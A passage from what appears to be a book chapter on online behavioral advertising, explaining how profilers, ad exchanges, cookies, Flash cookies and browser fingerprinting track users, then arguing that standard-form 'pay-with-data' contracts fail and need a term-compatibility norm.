advertising.8 A single business entity may, of course, perform more than
one role. 
Profilers create focused descriptions that segment buyers into groups  
in order to predict their willingness to buy specific types of products and 
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services.* A good example is eXelate, which, according to its website, is
“the world’s largest digital data engine powering 60 billion privacy-com­
pliant data transactions for 200 media companies every month.” eXelate 
has agreements with hundreds of websites that allow it to collect informa­
tion about age, sex, ethnicity, marital status, profession, Internet search 
information, and sites visited. It combines these data with data from  
offline sources. eXelate explains, 
We are capturing billions of deep granular data points…We analyze 
[these]…and roll them into specific Targeting Segments…These 
categorizations include Demographic data…, consumer Interest 
data gathered from specific site activity…(such as parenting and 
auto enthusiast sites), and deep purchase Intent data culled from 
relevant activity on top transactional sites. We further segment and 
sub-segment this data into relevant buckets that in many cases drill
down to the product and keyword level.9 
Practitioners of behavioral advertising sometimes insist that the infor­
mation does not identify particular individuals. Based on their own claims, 
this is simply not true. The profiler TARGUSinfo, for example, boasts on
its corporate website that “with our authoritative data and proprietary 
linking logic, no other company can match our ability to accurately iden­
tify businesses and consumers in real time—helping you target and rec­
ognize your best prospects, even at the moment of live interaction.”10 The
data include “names, addresses, landline phone numbers, mobile phone 
numbers, email addresses, IP addresses and predictive attributes.”11 
The purpose of the profiles is to target display advertising. A business
may create its own display advertising, or it may outsource that to another 
agency. Advertising exchanges deliver display advertisements to websites
that display them. When a buyer visits a website, the exchange retargets 
advertisements by combining a buyer’s profile with information about 
the buyer’s current website activity. The exchange then conducts an auc­
tion in which businesses bid for the opportunity to present their targeted 
advertisements. The whole process takes milliseconds. As one commen­
tator aptly sums up the situation, “Advertisers bid against each other in
* 	 The creation of profiles distinguishes behavioral advertising from contextual advertising. In con­
textual advertising, an automated system selects and displays advertisements based on the website 
content displayed to the user. Google’s keyword and AdSense programs are examples. Contextual
advertising does not raise the intense privacy concerns that behavioral advertising does. 
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real time for the ability to direct a message at a single Web surfer.”12 The
amount of information processed is immense. Right Media Exchange, for 
example, processes nine billion advertising purchases daily.13 The goal is
to tailor advertisements as closely as possible to the interests of the buyer 
receiving them. Datran Media, for example, promises “to identify who 
is visiting your Website, who is being exposed to your advertisers’ cam­
paigns, and who is responding to specific ads. Real-time reports paint an
accurate picture of whom [sic] your audience really is and who is respond­
ing to your communications—at the household level!”14 
Next we turn to the question of how this is done: What is the technology
that allows a Datran Media, a Google, a Facebook, or an Internet service 
provider (ISP) to know what you are doing online, and precisely what do
they know? 
HOW WEBSITES GAIN INFORMATION ABOUT 
YOU: STRAIGHTFORWARD METHODS 
Advertisers and others who want to compile information about web surf­
ers need one key thing: a way to identify specific users. Visiting a website 
reveals the electronic address (IP address) of the visiting computer, but 
the goal of tracking technology is to go beyond that by labeling individual
users with unique tags. The tags make it possible to recognize multiple
visits as all coming from the same user. This is analogous to what people
who study wild birds do: They temporarily capture a bird and put a small 
metal or plastic band with a unique number on it, so that they know when
they see the same bird in the future. On the Internet, there are several 
ways this can be done. 
You Identify Yourself Using a Login ID 
We start with the obvious. If you create a user ID with a website and log in
using that ID, then you are identified. For instance, if you go to Amazon’s
website and buy copies of Moby Dick and The Great Gatsby, then Amazon
will know your Amazon login ID, your e-mail address, your name, the 
information for the credit card you use to pay Amazon, your shipping 
address, and that you have purchased the books Moby Dick and The Great 
Gatsby. Furthermore, at least from a technological point of view, it is
essentially free for Amazon to store that information forever and to add to
it any future purchases you make. 
The same holds for any online shopping website where you make 
a purchase. You have to give them your name, address, and credit card
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information so that they can send you what you bought. You might be 
able to avoid creating a permanent user ID, and you might even go to the
trouble of getting a special e-mail address used for just such purchases; 
even so, your shipping address connects your purchases together and, in
practice, most consumers will just create a login ID and give their e-mail
address or perhaps one of their three or four e-mail addresses. 
Moreover, all websites where you create a login name that you reuse 
know whatever information you provide them. It can be difficult to
avoid reusing a login name. In many important cases, such as Facebook
or Gmail (or Yahoo Mail or Microsoft’s Hotmail or Outlook.com), you 
must log in with a unique ID that you use all the time, because that is the 
essence of how the service works. Many, many more sites either require 
you or strongly encourage you to log in. For instance, at the time of this
writing, one must log in to see anything beyond the front page at the New
York Times website. Furthermore, once you log in to a website, the owners 
of that site know which of its pages you are requesting. So Amazon can see 
that user FSFitzgerald17 has been looking at a lot of 1920s literature pages,
and Google Maps can see that FSFitzgerald17 has been searching for maps 
of West Egg, New York. 
A unique login ID is the very best sort of information, because it defini­
tively picks out one individual. All the following ways that websites attempt 
to tag you are basically attempts to do as well as if you used a login ID. 
Websites Know Your IP Number 
Recall from Chapter 2 that all information on the Internet is sent using IP, 
the Internet protocol, and that every computer on the Internet is assigned 
a unique address, called an IP number. Every packet (chunk of data) sent
in each direction of every conversation between a web browser and a web-
site includes both the “to” and “from” IP addresses, so all the websites you 
visit know your IP address. 
We should emphasize that “every” really means “every” in this case. 
It is true that all the major web browsers currently provide some form
of privacy mode (called InPrivate browsing in Internet Explorer, Private 
Browsing in both Firefox and Safari, and Incognito mode in Google
Chrome). However, all that mode does is to stop recording certain infor­
mation on your own computer; the browser must still send your IP num­
ber. Similarly, when you send encrypted information, such as a credit  
card number, you nevertheless provide your unencrypted IP number. 
Encryption protocols such as secure sockets layer (SSL) or transport layer 
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security (TLS) encrypt the contents of packets, but not the headers. Your
IP number is the address to which the web page you see is delivered, so it
cannot be hidden or encrypted. An analogy would be that you could get a 
traditional mail message that was in a special tamper-resistant envelope or
that was encrypted, but your address would still need to be on the outside 
of the envelope so that it could be delivered to you. 
Today, the typical US household gets Internet service that does not pro­
vide a permanent IP address, but rather one that the ISP is allowed to
change from time to time. In practice, a typical household will keep the 
same IP number for between a few weeks and several months. It is gener­
ally public information which ISPs control which IP numbers, and the ISPs
typically assign them to consumers in geographic blocks, so, in fact, from
your IP number alone, a website might be able to determine, say, that you
are located somewhere in the greater Chicago region and get DSL (digital
subscriber line) broadband Internet service from AT&T. If you have been 
browsing the web and seen information on pages that seemed tailored to
your part of the country, this is one way in which that may have been done. 
Of course, for the typical household that buys a connection to the 
Internet from one ISP, the IP address identifies only the household, not
individual users. 
Cookies: A Deeper Dive into the Technology 
We discussed cookies or, more precisely, HTTP cookies back in Chapter 5,
where we said that the cookies themselves play the role of bands used to
tag and later identify birds. Now is a good time to explain more about 
how the mechanics of the web and cookies work. At a very low level, as
we said in Chapter 2, the entire Internet, including the web, works by
machines sending packets according to the IP. For the web in particular, 
the hypertext transfer protocol (HTTP) is used to govern the communica­
tions between your computer’s web browser and a web server. (Sometimes
a more secure variant, HTTPS, is used. HTTPS is basically HTTP plus
encrypting the contents of the packets.) 
To request a web page, you either type in its web address—formally,
its uniform resource locator (URL)—into the address bar of your web 
browser, or you click on a link, which automatically enters the URL into
the address bar of your web browser. Consider the URL http://www.cnn. 
com/TECH, which currently is the web address of the Technology sec­
tion of CNN. As we show in Figure 11.1, a URL can be broken into three
parts. First comes the protocol, which is almost always http or https for the 
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FIGURE 11.1 Breakdown of a URL into its three meaningful pieces. 
web, followed by a separator consisting of a colon and two slashes. Next
comes the host name, also called the domain name, which is the name of
the computer hosting the website, in this case, www.cnn.com. Recall that
that name is simply a more human-friendly version of the host computer’s
IP number (157.166.255.18 for www.cnn.com). The third part, called the 
path, starts with a slash and tells which page from the host computer you 
want. The shortest possible path is just the single slash, which gives you 
the “main” page (and your web browser will understand that you want the 
“main” page if you omit the path completely). 
Now HTTP specifies that your computer begin its conversation with
the www.cnn.com server by sending it the keyword GET, the path from
the URL, and some parameters. Cookies are part of HTTP. Recall from
Chapter 5 that HTPP specifies that a web server responding to your
request can send your browser a cookie, which is a short text file, and 
that your browser is to send back that same text file every time it com­
municates with that same web server in the future. Thus, if you visit www. 
cnn.com without also sending a www.cnn.com cookie that was stored on
your machine back to www.cnn.com, then www.cnn.com knows that this
is your first visit to the site or that you have erased cookies since your last 
visit. We illustrate how cookies work in Figure 11.2. 
Cookies can only be left by a website that is displaying information in
your browser. However, the question of exactly who is displaying informa­
tion in your web browser is more involved than it may first seem. 
When you visit a website, such as www.cnn.com, that address is what
appears in your web browser’s address bar and the owner of that name is
serving you much of the content you are seeing. Precisely what happens in
response to your HTTP GET response is that a page of HTML (the format
in which web pages are written; it stands for hypertext markup language) 
is sent back to you. That page contains both some of the final content that
is to be displayed and directions to download more content automati­
cally without any further direct action on the user’s part. Typically, all
images would be part of the additional content. Also, all material coming 
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cnn.comBrowser 
Do I have a cnn.com cookie? Send information 
Server gets no
cookie information 
so it sends a cookie 
Yes 
No 
FIGURE 11.2 How cookies work (here, first-party cookies) using a visit to cnn. 
com as an example. 
from third parties, such as advertisements, is part of that additional mate­
rial. At the moment we are writing these words, loading http://www.cnn. 
com/TECH/ also loads third-party material from Disqus, Double Click, 
Dynamic Logic, Facebook Connect, Insight Express, Dynamic Logic,
and Revenue Science. CNN also loads various images relating to the news 
stories and some that appear to be advertisements being served by CNN 
itself, which presumably sold these ads. 
Any cookies you get from the host you visited (CNN in our example)
are called first-party cookies. Most or all of the benefits consumers get 
from cookies come from first-party cookies. Websites use them to remem­
ber various things, such as the contents of your shopping cart, what ver­
sion of something you prefer to see, what you were doing at your last visit,
your login information, etc. 
A typical web user who never erases cookies might have many thou­
sands of cookies on his computer. A 2010 Wall Street Journal investigation
found that many of the most popular sites on the Internet were each caus­
ing anywhere from a couple dozen to well over a hundred cookies to be 
stored by users’ computers. How does it happen that some websites cause
dozens of cookies to be deposited on your computer? A small part of the 
answer is that multiple cookies can be a convenience to a website. While 
each cookie can hold up to a few thousand characters, it may be more con­
venient to use one to remember what language you like things displayed in
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and another to remember some other aspect of your preferences. So www. 
cnn.com might deposit as many as 15 cnn.com cookies on your computer 
rather than just 1. 
However, the main reason that some websites leave you with a large 
number of cookies is that they are leaving third-party cookies.15 When
you visit many websites, some of the content you see is being displayed 
by advertisers. A news site, in addition to its own material, may display 
various ads being served by any number of advertising companies and 
networks, such as DoubleClick (a subsidiary of Google), as well as by other
companies advertising themselves, such as Facebook or CNet. Those web-
sites can also leave cookies on your computer, and they are referred to as
third-party cookies. We illustrate this process in Figure 11.3. 
The main use of third-party cookies is to allow an advertising net­
work to track you across various sites that you visit, presumably to tailor
the advertising material that they show you to your browsing history. Of
course, they can only track you across sites that they have a presence on, 
but the largest online advertising networks, such as DoubleClick, have a 
very wide presence. It is quite common for major websites to allow mul­
tiple trackers to gather information from their website. One evening early 
in 2011, we looked at half a dozen major news websites and found that
each had between two and nine tracking networks tracking users at its 
site. Almost all had Facebook connect, which allows Facebook users to
Browser 
cnn.com 
Do I have a DoubleClick cookie? Send information 
DoubleClick gets
no cookie information 








FIGURE 11.3 How third-party cookies work. In this example, a web user visits 
cnn.com, where the third party DoubleClick is both displaying a banner ad and 
using third-party cookies. 
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“like” something on a page—and allows Facebook to know where one 
of its members has been surfing. A majority also had Omniture, a web 
analytics network. Straight ad-serving networks advertising on the news 
websites included Google AdSense, DoubleClick (owned by Google), MSN
Ads (owned by Microsoft), and Tacoda. 
In the past several years, a new kind of cookie has come into play: Flash 
cookies. A great majority of both Windows and Mac computers have
Adobe’s Flash Player installed, and Flash can display all sorts of interest­
ing animations. It turns out that Flash also gives web pages the ability to
store information, called locally shared objects (LSOs) that can be used 
in the same way as traditional HTTP cookies and are referred to as Flash 
cookies. LSOs raise the same privacy issues as cookies, but users have less
control over LSOs than they do over cookies. The major web browsers 
all give users the option of not accepting cookies and of deleting specific 
cookies. Finding LSOs requires digging into obscure settings or using
special-purpose add-ons to your web browser. 
One use of LSOs is to defeat attempts to delete cookies. Many sophisti­
cated users of the web have at least heard of cookies and may delete their 
cookies every so often. Some users may even have set their web browsers 
to reject third-party cookies. (A number of websites do not work properly
if you reject all cookies, and a few don’t work properly if you merely reject
third-party cookies, so not so many people do this.) Companies will use
LSOs to duplicate the information in a conventional cookie and will check 
regularly to see if the user has deleted the regular cookie; if so, they will
use the LSO to recreate that cookie. 
The details of cookies will likely continue to evolve. For instance, 
Microsoft’s Silverlight is a competitor to Adobe’s Flash, and there may be 
similar issues of Silverlight cookies to those with Flash cookies if Silverlight 
becomes widely enough used. The overall language of the web is gradually 
being updated to HTML 5 (from earlier versions of HTML), and it too 
will introduce new issues concerning persistent storage of information on
users’ computers that could be used for tracking. 
Making a “Signature” out of Browser, OS, Fonts Installed, etc. 
In theory, cookies may not even be necessary, because your web browser 
may already be sending enough information to websites to identify you 
uniquely. The HTTP protocol sends a great deal of information whose pur­
pose is to allow websites to customize the layout of the information they
send to your computer. Thus, you send your web browser, your operating
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system, your current screen resolution, the set of all fonts you have installed,
and other such information. Furthermore, each piece of information is
detailed. That is, your web request does not merely say, “This is coming 
from Firefox on a Mac,” or even, “This is coming from Firefox 15 on a Mac 
running Mac OS 10.6,” but rather, “This is coming from Firefox 15.0.1 on
a Mac running Mac OS 10.6.8.” It has been calculated that the total set of
information may indeed uniquely identify a computer.16 
OTHER WAYS OF GETTING YOUR ONLINE INFORMATION 
In the remainder of this book, we are going to concentrate on tracking 
web users using third-party cookies and using the information gathered 
by doing that to target advertising. That issue is extremely contentious at
the time of this writing, and it vividly illustrates the problems that arise
when society has no shared conception of what uses of information are 
role appropriate. However, we would be remiss if we did not briefly discuss
some other electronic methods that advertisers and other interested busi­
nesses can use to obtain detailed information about you and your habits; 
by the time you are reading these words, one of these may be the most 
contentious issue of the day. 
For starters, we should mention smartphones. Smartphone penetration
in the United States is a hairsbreadth below 50 percent as we write these 
words and will surely have passed 50 percent by the time you are read­
ing them. Smartphones are outstanding devices for tracking their owners. 
Most of us have them on our persons almost all our waking hours, and
recent studies claim that over two-thirds of us have them within reach of
our beds when we sleep! Every iPhone and every Android and Windows 7 
smartphone has a unique ID number, and those ID numbers are in prin­
ciple accessible to every app running on those phones. Moreover, smart-
phones know where they are located. They all have GPS’s that give quite a 
precise location, and even if the GPS isn’t working, a smartphone can usu­
ally get a reasonably close approximation of its location from triangulating 
the cellular telephone signals it is receiving or from maps that link the vis­
ible WiFi networks to geographic location. This geographic information
too is, in principle, available to every app running on your smartphone. 
Yet another way that advertisers and others might learn about you is
from your ISP or your cell phone carrier. Recall our discussions of deep 
packet inspection back in Chapter 8. Unless it is forbidden by law or by
norm, then there is no reason why your ISP cannot read the information
you are sending via Internet and sell parts of it to interested advertisers. 
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WHAT IS WRONG WITH BEHAVIORAL ADVERTISING?
 
Now that we have discussed the technical means used for “pinning wire­
less tracking devices on us as we walk through the mall,” let us move on
and next discuss something that may seem obvious: Why does tracking 
make so many people uneasy? What’s wrong with it? The basic problem is
that businesses deprive buyers of choice about how businesses will process
their information. 
Lack of Choice for Buyers 
Advertising is personalized. Information processing is not. It does not
vary to conform to the privacy preferences of individual buyers. Efficient 
information processing requires standardized, automated routines using 
a great deal of computing power and advanced statistical techniques to
analyze vast collections of complex mixtures of data from a variety of dif­
ferent online and offline sources. Marketing objectives—not buyers’ pri­
vacy preferences—drive the collection, analysis, and use of vast amounts 
of diverse types of information. As the CEO of the advertising exchange
Rocket Fuel notes, the company’s “technology drives results for advertis­
ers by automatically leveraging massive amounts of internal and third-
party external data and serving only the best impressions in the context of 
each advertiser’s unique marketing objectives” (emphasis added).17 
One important reason sellers do not tailor their information process­
ing to buyers’ individual privacy preferences is that they do not need to. 
The vast majority of buyers acquiesce in information processing practices,
thereby guaranteeing sellers significant advertising revenues. This means 
a seller can easily afford to ignore the relatively few buyers who refuse to
do business with it unless it adjusts its information processing practices.
But even so, shouldn’t we expect some sellers to break the mold to win 
business by catering to privacy preferences? That expectation would be 
disappointed. Sellers do not break the mold—not if they rely on advertis­
ing as a significant source of revenue.* Participation in the advertising eco­
system gives a seller a competitive edge over nonparticipants by making 
it a more attractive advertising platform. To compete, other sellers must 
also participate and, to gain an edge, they may need to adopt even more
surveillance-intensive practices than their competitors.18 
* 	 Not all sellers do. Dropbox, for example, relies very successfully on user fees to generate revenue.
Our concern is with those sellers that rely primarily on advertising revenue. 
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Acquiescence via Contract 
We do not resist our lack of choice; rather, we routinely acquiesce to infor­
mation processing that feeds our information into the advertising ecosys­
tem. As far as the law is concerned, we consent to the processing in legally 
binding contracts: The terms of use agreements and privacy policies are 
accessible via hyperlinks. These are the online equivalents of the pieces of
paper the guards and stores presented in our opening metaphor. 
When we suggest to nonlawyers that a brief visit to a website creates a 
contractual relationship, their response is often, “That’s not just wrong. 
That’s bizarre.” Their reaction makes good sense. No one would suggest 
that you enter a contract with the New York Times when you scan the 
headlines as you stand in line at Starbucks, or with a bookstore when you 
leaf through a book, even if you read several pages. So how can it be right 
to say you enter a contract when, for example, you visit the news site CNN. 
com for a 2-minute glance at the latest headlines? How can our website vis­
its, even our quick and casual ones, be enough to form a binding contract? 
The answer lies in two key differences between the offline and online
cases. The first difference is that, on the web, businesses can easily collect
vast amounts of information about you from a simple website visit. For
the moment, neither the New York Times nor the bookstore can collect
information about you as you stand in line or browse through a book.
The bookstore may collect information about you if you are using a loy­
alty card, but that requires your physically handing the cashier your loy­
alty card. 
The second difference is that websites typically offer free products and
services that would simply not be available offline, at least not for free.
To take two quite different examples, first consider news websites. CNN,
Fox News, BBC News, and so on all offer free, frequently updated, high-
quality, multimedia news coverage. Next think of the host of websites
that are the home of some particular piece of software that you can freely 
download and then use on your computer. A very small sample of these 
includes Audacity, which offers an easy to use audio editor and recorder; 
FlightGear, which offers a flight simulator; FreeMind, which offers a mind
mapping tool; and Red Notebook, which offers a well thought of digital 
diary-writing application. All of these websites potentially collect infor­
mation, since all of them make some use of third-party cookies. This is
true even for sites like Audacity. Audacity is a not-for-profit open-source 
operation, and the audio editor itself collects no information when you
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run it on your computer. However, Audacity’s website’s privacy page says, 
“…we show advertisements from Google’s AdSense program. See our 
‘How Does Audacity Raise Money?’ page for the reasons,” and goes on to
say “this includes ‘interest-based’ advertising, which utilizes cookies to
try to determine users’ areas of interest (for example, audio editing), to
show advertisements of likelier interest.” In other words, Audacity’s web-
site uses online behavioral advertising to raise some revenue to support 
their non-profit activity. 
The information provided to the owners of websites generates advertis­
ing revenue that offsets the cost of providing the good or service, so there 
is an exchange of information for a product or service. Such exchanges 
are characteristic of contractual relations. The exchange is like any tradi­
tional exchange of value—with two differences: First, the value provided is
information, which will be used for advertising purposes. Second, usually 
the user doesn’t know that he or she agreed to anything. 
Billions of such pay-with-data transactions occur daily. Pay-with-data
transactions occur whenever someone visits a website to obtain a prod­
uct or service, either for free or for a fee, and allows the use of his or her 
information for advertising or other commercial purposes, such as market 
analysis or sale to third parties. For convenience, let us call the visitors 
buyers and the website owners sellers—even when the exchange does not
include a monetary fee. 
Fixing What Is Broken 
Pay-with-data exchanges are an instance of no-negotiation, one-size-fits­
all contracts. The legal literature refers to this as standard-form contract­
ing. This practice first flourished in the nineteenth century shortly after 
the rise of mass produced, standardized products, and—in the non-Inter­
net world—it has by and large served as a fair and efficient way to allocate 
the risks and benefits between buyers and sellers of commercial goods 
and services such as hair dryers, toasters, microwaves, washing machines, 
home repairs, auto servicing, and many others.* We contract constantly;
whenever we buy a cup of coffee, a book, a pair of pants, or a car, we are 
entering into a contract. Pay-with-data exchanges are also an instance of
this practice, but a malfunctioning one that leads to unacceptable inva­
sions of informational privacy. 
* 	 We by no means deny that sellers have sometimes exploited standard form contracts to impose
unfair terms on buyers; auto leases in the 1970s and 1980s are one example. 
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So why not fix what is broken? Privacy advocates often criticize online
standard-form contracting for its failure to provide meaningful choice,
a conclusion with which we agree. But then the advocates often assume
that contracting should go in the trash bin of useless tools. Contracting is
just broken, not useless. We need to fix the tool that is, outside the digital
context, a pervasive feature of our lives. We can use this familiar tool to
protect our privacy in the online behavioral advertising context by mak­
ing standard-form contracting work as well online as it does for tangi­
ble goods and services off the Internet. To do so, we need to understand
what makes contracting work well in the non-Internet world. Our answer 
appeals to value optimal coordination norms that limit what contracts can 
say. There are well established, time-tested (and litigation-tested) appro­
priate norms for nondigital products and services, but norms are largely 
lacking in the digital realm. 
Mention of “contractual norms” may suggest negotiation norms, like 
“Do not deceive the other party.” Our concern, however, is not with nego­
tiation, and, as we will argue, the beauty of standard-form contracts is  
that there is no negotiation. Instead, we are concerned with contractual 
norms—the norms that apply to the content of the standard-form contract
itself. Such norms answer the question, “Should this type of contract con­
tain a particular type of term?” For example, the contracts governing the 
sale of refrigerators typically make sellers liable for defects in the motor 
but buyers liable for wear and tear on the shelves and doors. This allocation
of risk reflects the best loss-avoider norm we discussed in Chapter 6.* The
sellers’ expertise and economies of scale make them the best loss avoider
for motor defects, but buyers are the best loss avoiders when it comes to
doors and shelves because they can avoid damage simply by avoiding
unreasonable use. As we will explain later, the best loss-avoider norm
makes it appropriate to assign risks in those ways in refrigerator contracts. 
THE SECOND-ORDER CONTRACTUAL NORM 
To understand precisely what it is that is broken with current pay-with­
data exchanges, we need to delve more deeply into the subject of norms 
governing contracts. Up to this point in this book, we have been consider­
ing only ordinary norms, such as the best loss-avoider norm, which are
norms about something more or less concrete. In the case of contracts, we
* 	 The norm is that, other things being equal, the party who can most cost effectively prevent a loss
should bear that loss. 
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will also need to consider a second-order norm: a norm that itself refers
to norms. 
Next we formulate the second-order norm, explain how it arises, and 
then show that it ensures that buyers give free and informed consent to 
acceptable contractual terms. 
The second-order norm is the  term-compatibility norm: Buyers 
demand contractual terms compatible with relevant value optimal norms.
We discover violations of the term-compatibility norm by detecting 
incompatibility with other norms. Those norms—the first-order norms— 
include the informational, product-risk, and service-risk norms discussed 
in earlier chapters. 
To see how things work when the term-compatibility norm is in place,
think back to the example in Chapter 6 of typical consumer Barbara, who 
discovered that her water heater no longer works. To continue the example 
here, imagine that Barbara does what many would do: She immediately 
orders a new water heater by phone and pays with a credit card. After the 
workers finish the installation, they hand her an envelope as they leave. 
The contract from the manufacturer of the water heater is inside. Barbara 
does not bother to open the envelope; she just puts it in a drawer along 
with her other unread contracts for consumer goods. 
Her behavior is entirely rational. She is not an expert on either water 
heaters or contracts, and she would be unable to evaluate the contract
adequately even if she did read it, since she would not fully grasp the sig­
nificance of much of the legalese. But Barbara has no need to read the con­
tract. Given the term-compatibility norm, her consent is both informed 
and free without even looking at the contract. 
The argument for this claim is essentially the one we gave in Chapter 4.
All that is required for her consent to be informed is that she knows that
the terms in the contract implement value optimal trade-offs. The defi­
nition of value optimal ensures that Barbara knows that the trade-offs, 
whatever they are, are justified by her values—and more: She not only 
knows they are justified, but she also knows that there are no alternatives
that are better justified, which means that she knows that, given her val­
ues, she cannot get a better trade-off than the one the contract gives her.
Her consent is free because the standard-form contract is precisely the 
means she wants for her free pursuit of a variety of important goals. 
In Chapter 4, we used the Cayman Islands vacation example to make 
the point. You cannot afford to realize your dream of vacationing in the 
Cayman Islands until you discover an “all inclusive” deal for airfare, hotel, 
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and food. When you are on the islands, you have to eat the food that comes 
with the deal. Your budget leaves you no choice. Our point was that this
constrained choice is part of an overall—freely chosen—plan. Eating the
food is a means to realize your vacation dream freely and is, in that sense,
something you freely choose to do. 
The same point holds for Barbara. She wants to replace her water heater 
and get on with the important goals in her day and her life. She does not
know enough about water heaters or contracts to read and assess vari­
ous possible contractual arrangements, and it is unlikely that she would 
have the time to do so even if she did know enough. (Even many law 
school contracts professors rarely read such contracts.) The standard-form
contract is the perfect solution. It gives Barbara a prepackaged deal that
she knows is as good as she can get, given her values. Just like you in the 
Cayman Islands example, the constrained choice of the take-it-or-leave-it 
contract is the key means to pursuing her goals freely. It does not mat­
ter that Barbara agreed to unexamined terms when she bought the water 
heater with her credit card and can’t back out later. Backing out is the last 
thing she wants to do.* 
This is how things work when the term-compatibility norm is in place.
Adherence to the norm ensures that contracts contain terms compatible
with relevant first-order, value optimal norms, which ensures that stan­
dard-form contracts are freedom-enhancing agreements through which 
we give our free and informed consent. 
To see exactly how standard form contracts accomplish this feat, there 
is one question left to answer: What does it mean for terms in a contract to
be compatible with first-order norms? 
Compatibility 
One way to be compatible with first-order norms is simply to adhere to 
those norms. The “refrigerator motor, door, and shelves” example we used 
earlier illustrates the point. The contract makes the refrigerator seller lia­
ble for defects in the motor and the buyer liable for damage to the door
and shelves, and, as we noted, this is exactly what the best loss-avoider
norm requires. 
* 	 In addition, if Barbara is a sophisticated consumer, she also may know that contracts like her water 
heater contract have been litigated and are somewhat regulated, so she can’t be getting too bad a 
deal. It is unlikely that the terms violate standards articulated in cases and statutes. 
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Now there is a problem, one many have pointed out when we have pre­
sented our view of contracts. People object that our view is implausible  
because contracts routinely contain terms that are clearly inconsistent with
relevant norms. So how can the norm be that contracts contain norm-
compatible terms? It takes some time to explain our answer, but doing so 
is essential to understanding how the contracting behavior we engage day 
in and day out actually works. Our answer is that we do not equate com­
patibility with straightforward adherence to norms. Norm-inconsistent 
terms cans still be norm-compatible terms, as we will now explain. 
Norm-inconsistent terms are still compatible when they do not com­
pletely overturn the norm-implemented trade-off but just fine-tune it. The
fitness norm is a good example.* Under the norm, sellers bear the risk of
selling an unfit product, and buyers bear the risks associated with using 
a fit product. Standard-form contracts typically shift the risk of selling an
unfit product onto the buyer by relieving the seller of any liability for an
unfit product.† This shift merely fine-tunes the fitness norm’s risk allo­
cation. To see why, consider that, in a sufficiently competitive market, 
the penalty for producing more than the occasional unfit product is lost 
profits, so profit-motive-driven sellers will offer fit products—for the most
part. No production process is perfect, so there will be some unfit products
on the market. But these will be relatively rare. In this context, the effect of
disclaiming the fitness norm is to place the relatively small remaining risk
of using an unfit product on the buyer. 
This may seem bad for risk-averse buyers and buyers facing unusually 
high risks who want more protection, but they can easily protect them­
selves by purchasing insurance or extended warranties, both of which are 
typically readily available at fairly reasonable prices. On the other hand, 
consider what happens when sellers do promise that a product is fit in the 
contract. Sellers will most likely raise prices to cover the additional legal 
liability, and this is bad for low-risk buyers who have little or no need of
the additional protection. Those buyers pay for the protection they do not
need, thereby subsidizing protection for risk-averse and high-risk buyers. 
Disclaiming the fitness warranty avoids the subsidy. In this way, the dis­
claimer fine-tunes the initial risk allocation of the fitness norm by shifting 
* 	 The fitness norm, which we discussed in Chapter 6, states that products should be fit for the ordi­
nary purpose for which they are used. 
† 	 Legally speaking, the contract disclaims the warranty of merchantability, which is a legal imple­
mentation of the fitness norm. 
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some risk back onto buyers. Our view is that this fine-tuning is a value 
optimal adjustment of a value optimal norm. 
This is why we define “terms compatible with value optimal norms”
in a way that makes the various disclaimers count as compatible. Thus, a 
term in a standard-form contract is compatible with a first-order norm if
it either is adhering to that norm or is an adequately justified fine-tuning 
of the risk allocations that norm implements. 
Are We Right? 
Why should anybody think the fundamental norm governing standard-
form contracts is the second-order, term-compatibility norm? Our answer: 
the term-compatibility norm is a consequence of the existence of first-
order norms. Using our by now familiar two-step argument, we show that
it exists in an ideal market, and then we argue that it will exist in any real
market that sufficiently closely approximates the ideal. 
Once again, we temporarily assume perfect competition, this time in 
all mass markets in which standardized products or services are sold with
standard-form contracts. As usual, since the definition of perfect com­
petition requires similar goods and services, we should, strictly speak­
ing, consider a wide variety of different markets, but we ignore this issue 
because, essentially, the same argument would apply to each of them. As
we are using the notion of perfect competition, we must specify the type 
of relevant knowledge appropriate to each application. For buyers, we
assume that buyers know all the terms in all sellers’ contracts and, for each 
term, know whether or not it is compatible with all relevant value optimal
norms. We will also make assumptions about what sellers know, but we
will specify those later. 
We also add a second ideal condition in addition to the perfect com­
petition condition: contractual norm completeness.* Contractual norm
completeness is the requirement that, for every possible contractual term, 
there is at least one value optimal, first-order norm with which that term is
compatible or incompatible. In reality, as we have already seen, first-order
norms may fail to be value optimal, or relevant norms may not exist at all.
In addition, we assume that compatibility with norms is an all-or-nothing
matter: A contractual term is either entirely compatible or entirely incom­
patible. In the real world, compatibility is often a matter of degree. 
* 	 This is a special case of the general notion of norm completeness we introduced in Chapter 4 and 
used in Chapter 5 in our discussion of privacy. 

















HOW THE NORM ARISES IN IDEAL MARKETS 
To see how the term-compatibility norm arises, suppose a seller includes
an incompatible term in a contract. We will show that sellers will replace
incompatible terms with terms compatible with value optimal, first-order
norms. Then all contracts will contain only compatible terms, and the 
result will be that “buyers demand terms compatible with value optimal 
norms” will be the norm, a behavioral regularity that exists in part because 
buyers think they ought to conform. We divide the argument into the part
primarily about buyers and the part primarily about sellers. 
Buyers: Perfect information guarantees that whenever a contract con­
tains a term incompatible with a value optimal norm, all buyers realize 
that it does, and buyers also realize that the norm it conflicts with is value
optimal. Such terms conflict with buyers’ values, and buyers will prefer 
to buy from sellers offering terms compatible with value optimal norms.
Perfect information ensures that they know which sellers offer compat­
ible terms. Given zero transaction costs, they can costlessly switch to such
sellers, so they will do so—provided such sellers exist, which they will in a
world with perfect competition. 
Sellers: The argument that norm-compatible sellers will exist begins 
with further specification of the perfect knowledge condition: First, sell­
ers know that buyers prefer to buy from sellers offering norm-compatible 
terms. Second, sellers know that buyers know, for each term in a contract, 
whether it is norm compatible. Since in our ideal world there are no bar­
riers to entry or exit, sellers can costlessly alter their contracts (and, if
necessary, their products and services) to offer terms compatible with all 
relevant value optimal norms. Profit-motive-driven sellers will do so since
buyers will not otherwise buy from them. 
The result is that “buyers demand terms compatible with value optimal 
norms” is a behavioral regularity. It exists in part because buyers think 
they ought to conform; they think they ought to because buying from
norm-compatible sellers is what their values require. In this hypotheti­
cal ideal market, the term-compatibility norm is indeed a norm, but it is
not a coordination norm. The argument is the same one we made about 
the best practices software norm in Chapter 7. In the ideal market, each 
buyer conforms solely because of his or her own values, independently of
the behavior of everyone else. In both cases, in real markets the need for 
unified buyer demand in a mass market causes the norm that arises to be 
a coordination norm. 













REAL MARKETS: HOW THE COORDINATION NORM ARISES 
Real markets only approximate our ideal conditions. If real markets 
approximate perfect competition and contractual norm completeness
closely enough, the term-compatibility norm will emerge as a coordina­
tion norm. The argument repeats the argument in the ideal market case— 
with adjustments for reality. 
We begin by adjusting for real contracts. In our hypothetical ideal 
world, contractual norm completeness guaranteed that every contractual
term was either compatible or incompatible with at least one value optimal
norm. So, in ideal markets, if we went through contracts and deleted every 
term that was either compatible or incompatible with a value optimal
